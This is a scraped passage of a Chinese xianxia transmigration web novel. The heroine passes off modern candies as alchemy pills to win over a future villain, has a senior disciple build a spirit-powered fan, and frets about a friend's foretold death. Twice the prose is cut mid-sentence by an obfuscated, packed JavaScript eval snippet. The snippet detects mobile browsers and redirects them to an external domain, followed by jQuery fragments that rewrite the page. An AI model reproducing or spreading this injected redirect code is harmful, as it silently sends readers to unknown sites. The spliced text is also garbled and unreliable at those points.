曲新梨是近来和她们玩得十分投缘的一位女弟子,出身世家却没什么大小姐的架子,活泼的性子很是讨喜,闻言立刻眼睛一亮,三步并作两步地跑上前来:“自然要的,谢谢阿宁。” 沈玄宁边走边分,见着几个平时合得来的师兄弟,也每人递了一颗,只反复大声强调这丹药很甜,不多时瓷瓶里就只剩最后两颗了。 陆远声站在不远处,她摸了摸瓷瓶,觉得钓的鱼就快上钩了。 沈玄宁故意放慢脚步,和赵琳琅、曲新梨有一搭没一搭地聊着天,余光时不时往他身上瞟,等走到离他只有几步远的地方,陆远声像是感应到了什么,忽然转过头来,四目相对的瞬间,少年的眼神明显闪了一下,下意识地想避开,却又硬生生顿住了。 沈玄宁笑着冲他点头致意,只是脚步更慢了,几乎是一步三顿,那架势明摆着在等他上前。 终于,陆远声像是下定了决心,走到她面前停下脚步时耳根还带着点没褪去的红:“沈师妹……” “在在在!”沈玄宁不等他说完,立刻不由分说地把瓷瓶塞进他手里,声音里还带着点没藏住的雀跃,“陆师兄请吃!” 陆远声原本只是想近距离看看这柳问松评价颇高的丹药,却没料到对方这么热情,他拿着瓷瓶僵在原地,一时间竟忘了该作何反应。 沈玄宁对上他错愕的目光,突然觉得自己好像有点得意过头了。 “啊,那个,我意思是……”沈玄宁干巴巴地开始找补,“趁热吃,一会儿凉了……呃,药效就没那么好了。” 陆远声:“……” “多谢师妹。”他顿了顿,补充道,“我会趁热吃的。” 沈玄宁没料到他会这么配合,愣了一下才反应过来,一时间又觉得有些好笑,连忙摆手:“不用不用,师兄什么时候吃都行!” 说完干脆拉着赵琳琅和曲新梨转身跑了,“没什么事我们就先走了,陆师兄再见!” 陆远声站在原地,捏着瓷瓶打开倒了一颗出来看了半天,犹豫片刻,他还是忍不住放进了嘴里,尝到味道以后竟是眼前一亮。 谢疏言恰好走上前来,见他这副神情,忍不住笑道:“甜的?” 6. 做电风扇 沈玄宁觉得昨天大获成功,证明了自己的计划是绝对可行的,这可是关系破冰的巨大进步啊。 为了抓紧机会乘胜追击,第二天一早在食堂,沈玄宁直接精准锁定了陆远声和谢疏言的位置,端了餐盘和赵琳琅他们一道坐了过去。 “陆师兄,谢师兄,早上好啊。”沈玄宁打完招呼坐下以后笑眯眯地问,“陆师兄,昨天的丹药如何啊?” 陆远声握筷的手顿了一下,过了一会儿才抿了抿唇答道:“……好吃。” 就这两个字,沈玄宁却瞬间捕捉到了其中的微妙。 这种修炼用的丹药,他回答好吃就不对劲了吧,难道不是应该说药力如何吗? 这个反应!有戏! 沈玄宁在心里欢呼雀跃,上帝视角确实是好用,《藏心》的原著里面提过,因着幼年流浪的时的一些经历,导致陆远声长大以后格外嗜甜。 不管他以后会不会变成那个毁天灭地的大魔头,现在到底也还是个小少年啊。沈玄宁忽然醍醐灌顶,攻略陆远声就应该给他送糖才对啊,哪用费那么多功夫装模作样? 但转念一想,她又有点犯愁。 她空间里的零食自然是多的,穿越之前她就爱吃,家里管家恨不得把整个零食铺搬回家,囤货种类齐全得能在家开个小超市,更别说如今这空间还自带刷新功能,零食吃了就刷新,根本吃不完。 但是怎么把这些东西拿出来也是个问题。 按逍遥宗的规矩,外门弟子未经允许不能随意下山,吃穿用度全靠宗门供给。而且她这原主的人设,还是个从乱葬岗捡来的孤女,要啥没啥的。这种情况下,突然拿出一堆大家见都没见过的新奇吃食,还大把大把地分给陆远声,要怎么解释来源? 这次能拿出麦丽素,还是意外靠着炼丹课当幌子,把它加工成了丹药才拿出来。 沈玄宁在心里默默点头,看来短时间内只能先用这个办法了。 这个主意一冒出来,她顿时豁然开朗,空间里的水果糖、牛奶糖、巧克力糖……管他是什么糖,全给炼成丹药! 外门的丹房本就可以供弟子们随意练习,而聚灵丹作为最基础的一品丹药,所需材料更是便宜,宗门对这类药材是无限制供应,任由弟子们反复练习,哪怕炼废了也不心疼。 这对沈玄宁来说,简直是天大的便利。 别人最开始炼丹时,光是塑形就要耗费大半心神,可她根本不用费这个功夫,直接将炼化好的灵液往糖里一融,然后用灵力将其牢牢锁住,颗颗都是现成的丹药。 而且要不是得拿丹药做借口,她都想直接把各种糖直接搓圆就端出去,毕竟她的目的本就不是炼出丹药,而是借着炼丹的名义,把空间里的各种现代糖果光明正大地拿出来。于是接下来一段时间,沈玄宁平时修行课结束以后就以修习炼丹术做借口在丹房里面炼了一堆糖。 装了好几瓶揣着全拿去给了陆远声,他收到糖的时候都懵了。 他被塞了满怀的瓷瓶,看着这一堆五颜六色的瓷瓶,又看了看沈玄宁,陆远声接连眨了好几下眼睛,那股平日里拒人千里的冰冷劲儿消失得无影无踪,面上是一片迷茫。 沈玄宁看着他这副模样,心里已经笑得在地上打滚,面上却笑得格外真诚:“这是甜的。” 陆远声闻言歪了歪头,眼里的疑惑更重了:“?” 沈玄宁解释道:“我去丹房修习炼丹术,这一下子炼多了,所以请陆师兄你帮我分担一些。” 陆远声有些艰难地道:“炼了这么多?” 沈玄宁面不改色地胡诌:“……手抖。” “无功不受禄。”陆远声摇了摇头,说着就要把瓶子往回递,“这些丹药师妹还是留着自己吃吧。” “哎呀,别!”沈玄宁连忙按住他的手,“陆师兄,这个丹药我偷工减料了不少的,一份药材我拆炼了十份,药力淡得很,我就是想练习一下如何改变丹药的味道。” 陆远声沉默不语。 哪有人炼仙丹先研究味道的啊!沈玄宁也觉得自己这回答多少有点牵强,但也只能硬着头皮继续说下去了,只是这样平白对他示好,他肯定要起疑,总得编个由头让自己看起来有所求才行。 “其实……”她故意露出点窘迫的神色,“我平时修炼总不得要领,还想请陆师兄以后多多指点我一下……” 见陆远声的眉头皱了又松,表情似在纠结,沈玄宁觉得有戏,便又凑近了些轻声拐骗道,“我琢磨了很多个味道,都很甜的,不若陆师兄你帮我尝尝味道?” 沈玄宁在心里深吸一口气,老娘豁出去了! 她小心地揪住陆远声的袖子拽了拽,“陆师兄,这个很好吃的,很甜的。” “好不好嘛?” “求你了……” 陆远声纠结了半天,最终像是泄了气般,几不可察地点了点头。 竟然真的同意了!还得是现在年纪小啊,卖起萌来毫无负担! 而且送糖这招简直超乎寻常的管用啊!!! 沈玄宁强压着嘴角的笑意,生怕自己笑得太夸张把人吓跑,飞快地往后退了两步,乖巧地作了个揖:“多谢陆师兄,那我就先去修炼了,有什么问题再来请教师兄。师兄若是吃完了这糖,啊不是,这丹药我再给你炼。” 不得不说,沈玄宁给陆远声画的大饼确实是非常有用,如今她找陆远声搭话,他不仅句句有回应,还甚是认真地指点了一些她修炼的心得,陆远声真是无愧天才之名,在他指点下沈玄宁感觉自己的修炼愈发顺畅,他们的关系也较从前亲近了许多 终于开始了主线任务的沈玄宁心情颇好。 在外门待的日子久了,她也渐渐熟悉了这里的节奏。除了每日的必修,她最常待的地方便是藏经阁,外门的藏经阁虽比不得内门丰富,却也藏着不少有意思的典籍,什么各地奇闻异志之类的,沈玄宁尤其爱看那些收录着各种赫赫有名神兵法宝的册子。 外门的日程说紧也紧,说松也松。每日卯时的晨练雷打不动,辰时则是戒律堂长老的课,枯坐着听长老们慢悠悠地讲门规戒律和基础心法,听得人昏昏欲睡,时间久了大家皮也是厚实了,这上课睡觉的人实在不少,当然每次被郝长老逮着就会被戒尺一顿打就是了。 午后的课就灵活多了,九峰轮值的内门弟子来讲课,你也可以选择不去,时间便全由自己安排,空闲得很。 逍遥宗看似宽松的规矩里,藏着对弟子的第一道考验,那便是自律。你可以选择安逸度日,在外门混过三年便下山,也可以选择拼尽全力,争夺那寥寥无几的内门名额。 不过大多时候,九峰的轮值授课还是挺有意思的,弟子们基本都会去,除了问剑峰的课。 对,就是除了问剑峰! 问剑峰的那位冷师兄简直是把课上成了自修课,经常来了就往树上一挂让大家自行修炼就好,到最后大家都没人去了,不过还有一些女弟子,倒是坚持不懈地去上,主要是这位冷师兄生得实在是好看,好看得让她们愿意浪费一下午时间去看他睡大头觉。 九峰里面沈玄宁最喜欢的就是栖霞峰和玲珑峰的课。 栖霞峰的课于她而言,如今已是得心应手,柳问松还总夸她勤勉,沈玄宁乐得在丹房里一边摸鱼一边炼各种奇奇怪怪的现代糖果。 至于玲珑峰,纯粹是因为她的兴趣爱好,从前她就爱摆弄各种小玩意儿,拆了又装是家常便饭,加上她是在现代就是学美术的艺术生,画起这些拆解图来更是飞快,寥寥几笔就能把复杂的图纸勾勒得清晰明了。 外门弟子其实接触到不到法器锻造那一块的知识,不过是些基础的机关术和聚灵法阵,可就算是这些,沈玄宁也学得兴致勃勃。 玲珑峰负责给外门弟子上课的本是周文婷,可是前阵子周文婷要下山办点事,便托了自己的大师兄尹文霜代上两次,她怎么也没料到,回来的时候尹文霜直接把这活儿给抢了。 他不仅抢了课,更是连闲暇时间都往外门跑。 周文婷看着自家大师兄又收拾了东西准备去外门:“大师兄,你又要去外门啊?” 尹文霜正把方糕用油纸仔细包好,闻言道:“是啊,师妹你有事儿?” 周文婷看着他眼里藏不住的笑意,犹豫半天终于忍不住问:“大师兄,外门是有你喜欢的姑娘吗……” “瞎说什么呢?”尹文霜失笑,伸手敲了敲她的额头,“你不是都去上过课了,外门就一群小毛孩儿,哪有什么我喜欢的姑娘。” 周文婷揉着额头嘟囔:“那师兄你天天往外门跑得这么勤快。” “那是因为我们很可能要有小师妹了。” “小师妹?”周文婷一愣,连忙追问,“师尊有内定弟子了?我怎么没听说?” “那倒还没有,我还没来得及禀告师尊,外门有个师妹,当真是天赋异禀,一些机关小物件,她拆一次就能画出原模原样的拆解图,而且那图画得确实是见解独到,再难的聚灵阵,也是看一眼就能分毫不差地复刻下来。” 周文婷来了兴致:“你说的是谁?外门竟还有这样的弟子?” “玄宁。” “是沈玄宁吗?”周文婷轻蹙了下眉,像是在回忆什么,忽然道,“啊!大师兄,你说的该不会是栖霞峰柳师兄一直夸的那个小姑娘吧?” 尹文霜脸上的笑意瞬间僵住:“柳问松夸她炼丹术很好?” “应当是很好的。毕竟听柳师兄的意思像是要把她定为栖霞峰的预备弟子了!只要灵力修为过了大考初测应当是……”周文婷话未说完就被尹文霜打断了。 “好个柳问松!”尹文霜低骂一声,猛地一挥袖子,把东西都收进了储物袋,转身就往外走,“居然跟我抢小师妹!” 沈玄宁当然不知道内门两位师兄都已经把她定好了。今日是扶疏峰的课,还得锄地翻土,所以此刻她正扛着锄头蹲在田埂旁看陆远声翻地,勤勤恳恳的小陆师兄帮她的地也给翻了,她就是蹲在一旁看也是看得满头大汗。 相处久了,沈玄宁才感觉陆远声并不是什么傲娇性子,分明是又乖又听话,跟以后他以后黑化的形象真是相去甚远,所以千万千万不能让他黑化! 今天这天也实在是热,挖了半天的土更是燥得人嗓子眼冒烟,可惜了系统空间里面没有电,虽然那些制冷的电器都在,但是却是只能看不能用,不过这冰箱里的东西不用电也能维持原状,她最多摸两根冰棍出来解解馋。 此时日头最烈,沈玄宁坐在地上用胳膊肘支着膝盖,单手托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117711|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腮琢磨,不是说仙山上自成结界四季如春吗,这么热又算怎么个事儿呢? “师妹说得不错。”一个温柔的声音从旁边传来,温南星不知何时走了过来,“内门确实如此。自铁索桥那边起,地脉之下便布有聚灵大阵,九峰皆在阵中,灵力流转不息,四季恒温,宛若阳春。” 沈玄宁一愣,原来自己把心里话说出来了? 她连忙站起身有些尴尬地挠挠头转移话题:“温师兄,那外门为何没有这聚灵大阵啊?” 温南星道:“外门有护山大阵抵御妖邪,却没有布置聚灵阵。是因为外门弟子多在锻体、炼气境,尚未脱凡,算不得真正的修士。筑基后增二百年寿元,才算真正的脱凡入仙,所以在筑基之前,严寒酷暑皆是修行,一来是磨炼心志,二来若是常消耗灵力护体,也是一种修炼。” “原来如此,多谢温师兄,玄宁受教了。” 日头渐往西沉,扶疏峰的课刚结束,尹文霜就像掐准了时辰似的,从田埂那头走了过来。沈玄宁眼睛一亮,连忙迎上去,不等对方开口就先道:“尹师兄!您来得正好,我正好有事想请教您!” 沈玄宁从刚刚听了温南星的话就在琢磨一个事情,玲珑峰以聚灵阵与机关术闻名,既能驱使机关兽奔腾,那做些简单的小玩意儿想来不在话下。 尹文霜:“哦?师妹请说。” “寻个坐的地吧,我给师兄画个图纸。” “好。” 二人沿着田埂往不远处的凉亭走,这里虽然也热但是比日头下可是凉快了不少,沈玄宁刚在石凳上坐下,就迫不及待地朝尹文霜伸手:“尹师兄,您可带了纸笔?” “自然。”尹文霜眼里的兴味更浓了,见沈玄宁神神秘秘的样子,倒真勾起了他的好奇心。 沈玄宁简单画了个现代最常见的六叶风扇,底座稳稳压在下方,中心立着根转轴,顶端分出六片细长的扇叶,均匀得像用尺量过。 “阿宁你这手倒是稳当得很。”尹文霜赞叹了一句,又凑近了些看,指尖点着图纸上的六片扇叶:“这是何物?六片叶子聚在一处?” “这个嘛。”沈玄宁想了想,还是决定叫那个顺口的名字,“这个叫风扇,不知道师兄能否在这上面刻一个聚灵阵,让这些扇叶子转起来?” “这有何难。”尹文霜满口应下,好奇地挑眉,“只是你要这何用?” “师兄先别管了,您能帮我把这东西给做出来吗?” “现在就行啊。”尹文霜当即从储物袋里摸出块温润的青楠木,又掏出一套精致的刻刀。 尹文霜又看了两眼图纸确认尺寸以后便运刀如飞,青楠木的木屑簌簌落下,不过盏茶功夫,方方正正的底座就被打磨得光滑温润,连六片扇叶都削得大小一致,边缘还细心地磨去了毛刺,摸起来也不刺手。 他蘸了蘸朱砂,在这风扇的底座勾勒几笔,最后一笔落下时,整个小阵法忽然闪过一丝金光,转瞬即逝。尹文霜把做好的木质风扇往石桌上一放,抬手拨弄扇叶同时注入了一丝灵力。 底座小巧的聚灵阵瞬间运转起来,六片扇叶转了起来,带起一阵风。 只是亭外暑气正盛,连空气都被晒得滚烫,这风刚从扇叶间跑出来,就被周遭的热浪烘成了暖乎乎的风,可即便如此,吹在被汗水浸湿的脸上,也是舒服很多。 沈玄宁对着转动的扇叶吹了好一会儿,忍不住眯起眼赞叹:“凉快!” 这修仙果然好,用灵力代替电力,连风扇都能凭空动起来,还不用插电,简直是黑科技! 尹文霜在一旁看得好笑,伸手揉了揉她的脑袋:“怎么?你做这东西就是为了纳凉?你已是炼气期,灵力护体足以御寒暑,要这东西有何用?” “可是那样既耗灵力又费心神,这有现成的多好,省下来的灵力还能专心修炼。” “少狡辩,分明是平时偷懒修炼不到家。不过是分出一丝灵力护体,哪就费多少心神了?等你筑基后灵力充盈,这点消耗更是不值一提。” “师兄说得是。”沈玄宁乖乖迎下,而后抬眼看向他,“可若是凡人呢?” “凡人?”尹文霜一愣,“这风扇不是给你自己准备的?” “师兄,这东西不用灵力催动,还有办法让它转起来吗?” “自然,这聚灵阵十分简单,哪怕用最下品的灵石也能催动。”尹文霜说着说着忽然停住,抬眼与沈玄宁对视,眼中闪过一丝了然,“你的意思是……要把这东西给凡人用?” “嗯。”沈玄宁郑重颔首,“修仙者不畏寒暑,自然用不上这东西。可凡世百姓没有灵力,酷暑难熬,蚊虫又多,若是能将聚灵阵用在这风扇上,再添些百灵峰师兄师姐们配的药粉,让这风扇既能纳凉又能驱虫,岂不是造福凡世百姓?” 亭内一时安静下来,只有扇叶转动的轻响,尹文霜看着沈玄宁清澈的眼睛,眉头渐渐舒展,取而代之的是一种难以言喻的欣赏。 沈玄宁见他半晌不说话,只一瞬不瞬地看着自己:“师兄,怎么了?” “没事。”尹文霜这才回过神,喉间低低地笑了一声,“小师妹,你的功课倒是学得挺不错的啊。” 沈玄宁愣了愣:“啊?” 她有些没听懂尹文霜的意思。 7. 太有钱了 过了两日,尹文霜又来外门寻沈玄宁。 他手里捧着个半尺见方的木匣,见了沈玄宁就直接打开了,里面躺着的风扇比上次精致了很多,底座雕着青竹,扇叶边缘镶着圈莹白的玉线,最显眼的是扇叶外围多了个镂空罩,用的不知道是什么材质,看着像是木材,但十分轻薄,既雅致又稳固。 “尹师兄!你竟还加了罩子……”沈玄宁惊喜地看了一眼,她上次只草草画了扇叶和底座,压根没想起加防护,可尹文霜竟自己补上了这个最关键的细节,心思之细让她真心佩服。 “上次做完才后知后觉。”尹文霜拨了拨罩子,“这扇叶转快了跟小刀片似的,凡世总有顽皮孩童,若是没个遮挡,怕不是要伤着人。” 沈玄宁真心实意地赞叹:“师兄你想得太周到了。” 尹文霜将风扇往石桌上一放,按下了第一个开关,扇叶转得比上次平稳许多,吹出来的风竟带着些许冷气,拂在脸上凉丝丝的,风里还带着一股淡淡的药香,像是薄荷混着艾草的气息,光是闻着就让人心神一清。 “师兄,这风竟是带寒气的。” “嗯,上回见你用的时候,扇叶带起的风被暑气烘得发热,便想着添层凝冰阵,凝冰阵可化寒气,两层阵法叠在一起,吹出来的风自然就带了寒意。”他按了下中间的凸起,扇叶转速放缓,风也变得柔和了些,“这三个地方是阵眼,可简单修改聚灵阵来改变风速,当然灵力消耗也会跟着变,一块下品灵石就能催动,最长可用上十年。” “哦对了,你说的药粉,我找百灵峰的师弟调配了三种,有驱蚊逐虫的,还有安神助眠,这个可清脑醒神。”他又指了指底座背面的小抽屉:“药粉就放在这里,四个月换一次就行。” 沈玄宁听得目瞪口呆,自己不过是照搬了现代人的智慧结晶,画了张粗浅的草图,尹文霜却不仅把这想法落地,还打磨得如此周全,这都给这简易风扇升级成空调了。 他从一张简单的图纸里,就能琢磨出风速调节、安全护罩还有药粉槽这些细节,甚至连续航都考虑到了,这份通透与细心,不愧是玲珑峰的大弟子。 尹文霜笑道:“我和几位师弟师妹们商量了,打算把这东西替换一些便宜材料放到凡世去卖,这样寻常百姓也能买得起,以后卖风扇的收益,其中一成会分给你。” “给我?”沈玄宁惊得差点跳起来,连连摆手,“不用不用!我就是随口一提,这都是师兄你做的……” “那可不行。”尹文霜打断她,语气陡然认真起来,他知道沈玄宁或许还没意识到这一成收益意味着什么,但也没有因为她年纪尚小就不解释了,“这主意是你先想出来的,我不过是添了些阵法改良,功劳本就该是你的。” “那,谢谢师兄了。”沈玄宁沈玄宁见他态度坚决,便是点点头不再推辞。 没想到这尹师兄的版权意识还挺高,不过这其实也是他谦虚了,这东西本身并不难,只能说玲珑峰的弟子平时光想着研究什么神兵法宝了完全没想着往下沉市场去,这回开了个口子,想必其他东西以后他们不会少琢磨了。 “你别觉得修仙门派就不食人间烟火,实则处处都要用钱,修炼要灵石,锻造法宝仙剑要都要钱,还有平时宗门庶务……哪样不要开销?”尹文霜叹了口气,语气里带了点无奈:“咱们逍遥宗虽是四大仙门之首,论起富庶却不及碧霞仙居的一半。” “碧霞仙居竟然这么有钱么?”沈玄宁故意睁圆了眼睛,语气里是恰到好处的惊讶。碧霞仙居有钱她当然知道,原著里魔界之门大开,邪祟魔修们第一个就冲着他们去了,可见太有钱也不是啥好事儿。 碧霞仙居能坐稳修真界首富的位置,靠的正是将宗门修炼和凡世百姓需求绑在了一起,他们的弟子里,既有专精炼制高阶丹药的内门弟子,更有一大批沉在凡世的外门弟子。 这些人或许炼丹术不算顶尖,却最懂寻凡世百姓的心思。 凡世医馆里的草药,煎药耗时久,见效也慢。可碧霞仙居医馆里的仙丹却大不一样,就说这治疗风寒咳嗽的风寒丹,吞下去当场就能见效。更难得的是,这些带着仙字的丹药从不摆架子,碧霞仙居将售价压得极低,几乎是擦着成本的边儿,因此售价也就比凡世的草药贵上少许,寻常百姓咬咬牙也能买得起。 凡世的药铺、医馆见这丹药好用又好卖,纷纷抢着跟他们合作,州府里的药房,都以挂碧霞仙居专供的牌子为荣。 久而久之,碧霞仙居的名字不仅在修真界响亮,在凡世更是无人不晓,寻常百姓或许不懂修士中筑基和金丹有什么区别,却知道头疼脑热时,去挂着碧霞仙居牌子的医馆买颗仙药准没错。 涓涓细流汇成江海,日积月累下来,碧霞仙居的财富远超其他仙门。 修真者讲究天赋根骨,数万凡人里未必能出一个金丹修士,可凡世百姓却是数以万计,生生不息的,碧霞仙居把高阶丹药拿去跟其他仙门换取天地灵宝、珍稀材料,寻常丹药卖给凡世百姓,自是盆满钵满。 尹文霜道:“不过他们在平民之中卖的那些丹药,那价格其实算是做善事了,真正让碧霞仙居堆起金山的,还是那些驻颜丹、长寿丹。” 他瞥了眼沈玄宁,见她听得认真,便继续道:“凡世的王公贵族、富商巨贾,最怕的就是红颜易老、岁月难留,碧霞仙居的驻颜丹,能让五十岁的妇人保持二八少女的豆蔻模样,哪怕只是一年两年的,也能让她们挤破头来抢了,还有那长寿丹,虽不能让凡人长生,但添个十年八年阳寿还是不成问题的。” 这不就是美容药和保健品么? 沈玄宁深有同感地点了点头,从古到今,女人为了变美,富人为了长寿,向来是最舍得花钱的,毕竟,对那些不差钱的人来说,时间是再多金银都换不来的,自然肯花天价去求。 她不解道:“我们栖霞峰炼丹术不也很有名吗?为什么不去凡世卖药呢?” “自然有的,只是这碧霞仙居招牌太过响亮,这要抢生意嘛也是很难的,何况无忧师叔他志不在此。其实栖霞峰在凡间开设了不少医馆,都是平价问诊,药费也收得极低,无忧师叔还会定期派遣内门弟子到各地行医,遇上灾年,更是免费施药,从不求回报。” 沈玄宁听他提到栖霞峰峰主曲无忧,便想起原著里的描述,曲无忧的修为虽是九大峰主里面最低的一个,名声却最是响亮。这不仅因他医者仁心,救过无数修士与凡人,更因他是修真界公认的第一美男,加之他本人十分风趣幽默,实在是个不可多得的妙人。 尹文霜看到沈玄宁的表情,突然想到了他无忧师叔声名在外的缘由,立刻转移了话题:“不过师妹你放心,我们玲珑峰还是很有钱的。” 沈玄宁被他这没头没尾的话逗笑了,挑眉问道:“…… 多有钱?”忽然这样说很难不怀疑尹文霜要打招生广告了。 尹文霜没有直接回答,反而话锋一转,问道:“师妹可知,这修仙路上,最重要的三样东西是什么?” 沈玄宁顺着他的话头接道:“愿闻其详,还请师兄赐教。 ” “这第一嘛,自然是天赋。灵根优劣直接决定了修行的上限,不过这是天生的,改不了,暂且不论。”他屈起二根手指,“第二便是勤勉,纵有天赋,若不肯沉心修炼,终究是镜花水月,成不了大器。” “这第三嘛,便是机缘。那些虚无缥缈的仙缘暂且不说,就说看得见摸得着的,你瞧那些家世显赫的弟子,灵根天赋未必比旁人强多少,却能靠着上品灵石、高阶丹药日日温养经脉,修行事半功倍,进境总比旁人快一步。” “等你以后进了内门就知道,虽然宗内每月都会给内门弟子发放灵石和丹药,但是想要跨境进阶冲击更高境界光靠这个肯定是不够的,除非你天赋强到让宗门资源倾斜于你。”尹文霜眼里闪过几分狡黠,把话题又大拐弯给绕了回来:“不过——” “不过什么?”沈玄宁明知他要说什么,还是配合地追问。 “不过师妹你将来若是入我玲珑峰,师兄自是不会藏私,定当亲自为你锻造法宝。” 好嘛!绕了这么大一圈,果然还是招生广告! 沈玄宁被他逗得直笑,从怀里掏出个瓷瓶:“那我先谢过师兄的美意了。我也没什么好东西回赠,不如师兄尝尝我炼的丹药?只是这稀释过的低阶丹药对师兄用处不大,权当尝个味道。” “你炼的?”尹文霜饶有兴趣地接过了瓶子,“听说你炼丹术修得不错,那我便尝尝。” 尹文霜倒了一粒丹药出来,那丹药圆滚滚的,通体呈奶白色,是沈玄宁用大白兔奶糖搓圆的,他看了一会儿以后直接就丢进了嘴里。 沈玄宁提醒道:“师兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117712|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可不要生吞啊,这要放在嘴里慢慢含化,你就当是吃糖了。” “……” 尹文霜闻言沉默了一会儿,然后又倒出三粒,连珠炮似的丢进嘴里。 沈玄宁:“……” “尹师兄,味道如何啊?” “……还挺好吃。” 虽说是低阶丹药,可灵力凝而不散,丹体圆润得不见半点瑕疵,显然是炼药时火候拿捏得分毫不差。寻常外门弟子能把药力炼化个七八成,再塑形合格就算是不错了,沈玄宁能把丹药炼得品质如此上乘的情况下还能用灵力改换味道,这天赋确实不是一般的强,看来柳问松这回是真要和自己抢小师妹了。 但是想和他们玲珑峰抢人,呵!哪那么容易。 “阿宁,师兄还有事要忙,就先走了。”尹文霜将风扇往沈玄宁面前推了推,“这是做出来的第一个成品,你就留着用吧。” “多谢尹师兄!”沈玄宁也没客气,立刻就收下了,“师兄慢走呀!” 她没把小风扇带回自己的房间,而是抱着盒子径直去找了赵琳琅,只是远远就见她坐在石阶上,指尖无意识地抠着衣角,地上落了好些被她捻碎的草叶,背影瞧着就蔫蔫的。 她近来情绪总是这般低落,沈玄宁心里清楚缘由。 赵琳琅虽在万千凡人中被测出灵根可以修仙,可到了天才扎堆的逍遥宗,那点凡世里的出众就显得微不足道了,灵根资质平平,悟性也不佳,这半年来修炼进度她在同批外门弟子里几乎垫底,如今天气炎热更是心生烦躁,进境更是迟缓。 “琳琅!!”沈玄宁隔着老远就扬声喊,“看我给你带什么好东西了!” 赵琳琅抬头见是她,嘴角勉强扯出个浅浅的笑,沈玄宁三步并作两步跑到她面前,把木盒往石阶上一放,又朝她推了推:“你瞧!” “这是何物?” 沈玄宁把东西拿了出来教了赵琳琅使用的方法。 赵琳琅惊讶地睁大眼睛,伸手在风扇前探了探,感受着那股带着凉意的风,喃喃道:“这是法宝吗?竟能自己生出冷风来?” “算不上法宝,就是个小风扇。”沈玄宁解释,“这是尹师兄做的,下面刻着聚灵阵,你晚上睡觉放房里,不用消耗灵力也能凉快不少。” 带着寒意的风拂过赵琳琅发烫的脸颊,她望着那转动的扇叶,鼻尖一酸,眼眶瞬间红了。 “宁宁……”她吸了吸鼻子,声音带着点抑制不住的哽咽,“这太贵重了,你还是自己留着用吧。” “不贵重不贵重,以后尹师兄他们还要拿到凡间去卖呢,一块下品灵石就能用上十年,去凡间卖肯定不会用这么贵的材料,到时候平民百姓都能买得起。” “真的吗?那太好了。”赵琳琅的声音亮了一瞬,可很快又低了下去,指尖无意识地摸着那风扇,“那到时候,我爹娘他们也能用上了……上月发的灵石我还留着,等以后有机会见到我娘我就给她。” 她顿了顿,声音轻得像叹息:“小的时候,一到夏天晚上就热得睡不着,我娘就坐在床边,拿着蒲扇给我和吉利扇风,扇一会儿就得停下来搓搓胳膊,可她总说不累,一晚上都不停……” 说到这里,那点好不容易憋回去的眼泪终于忍不住了:“宁宁,我想我爹娘了……” 虽入了修仙宗门,可赵琳琅终归也是个年纪不大的小姑娘,离家远行自然是会思念家人的,沈玄宁伸手轻轻拍着她的后背安慰,心里却跟着发酸。 赵琳琅还有家人可以惦记,但是她的家人这辈子再也见不到了。 十六岁那年,父母和二哥从外地赶回来给她庆生,在高速上被一辆失控的货车追尾,连带着司机一个都没活下来,出事以后一直在国外学医的大哥直接退了学回国,匆匆接管了父母留下的企业,他撑起了整个家,却唯独不知道该怎么面对她这个同样失去所有亲人的妹妹。 大哥自她记事起就在国外,兄妹俩不算太亲近,那场变故后,更是只剩下沉默的客气。 后来沈玄宁念大学离开了家,大哥和她的交流就只剩下了银行卡上的数字,她偶尔也会在财经新闻上看到大哥,穿着剪裁合身的西装,眉眼间是她全然陌生锐利与沉稳。 直到来到这个修仙世界,她已是许久没有见过大哥了。 也不知道大哥如今过得好不好。 8. 小人石头 日子就这么不紧不慢地淌过,沈玄宁渐渐习惯了在逍遥宗的生活,甚至还有些乐不思蜀。 逍遥宗坐落于连绵青山之间,云雾常年缭绕在峰峦沟壑间,宛若仙境。无论站在哪个院落抬头望,入眼都是层峦叠嶂的翠色,偶有丹枫点缀其间,且天地之间都是浓郁的灵气,吸一口都觉得肺腑间沁凉舒畅,呼吸都成了享受,现代城市可感受不到这么好的空气。 她是真觉得惬意。 逍遥宗真是没有愧对逍遥二字,这修仙的日子远比沈玄宁想象中要自在,宗门内没有太多刻板的束缚,课业也算不得繁重。 最让沈玄宁觉得妙的是修炼本身,修炼了这许久,她感觉自己的身体越来越轻盈,便是打坐当睡觉第二天醒来也是神清气爽,而且因为有着系统随身空间的存在,也没有离现代文明太远,虽然手机电脑这些插电的家伙早就成了摆设,但是物资无限刷新这个外挂确实是太好用了。 当然让沈玄宁这样安心躺平的原因自然还是她拥有的上帝视角,既然已经知道这个世界所有重大事件动向,那么她只需跟紧陆远声,顺顺当当走剧情帮他把会黑化的歪路给扶正就行了。 目前压在沈玄宁心头的头等大事,还是谢疏言的死。 原著里对谢疏言的死因实在是写得不多,翻来翻去都只找到一个名字,戒律峰一位长老的子侄,季时雨。 书里说他性子骄纵,仗着长辈的势在外门横行,嚣张跋扈的做派倒是标准的反派,外门弟子众多,可是这名册上竟然寻不到季时雨的名字,这倒是有些奇怪。 他若是真因嫉妒之心要害谢疏言,哪怕不是同届弟子,至少该在外门有过交集才对。这届内门大考后,陆远声他们就要入内门了,而谢疏言的死期,按原著的时间线推算,必然在这两年内,一个本该在这段时间出现的关键人物却是一点消息都没有,她着实有点心慌。 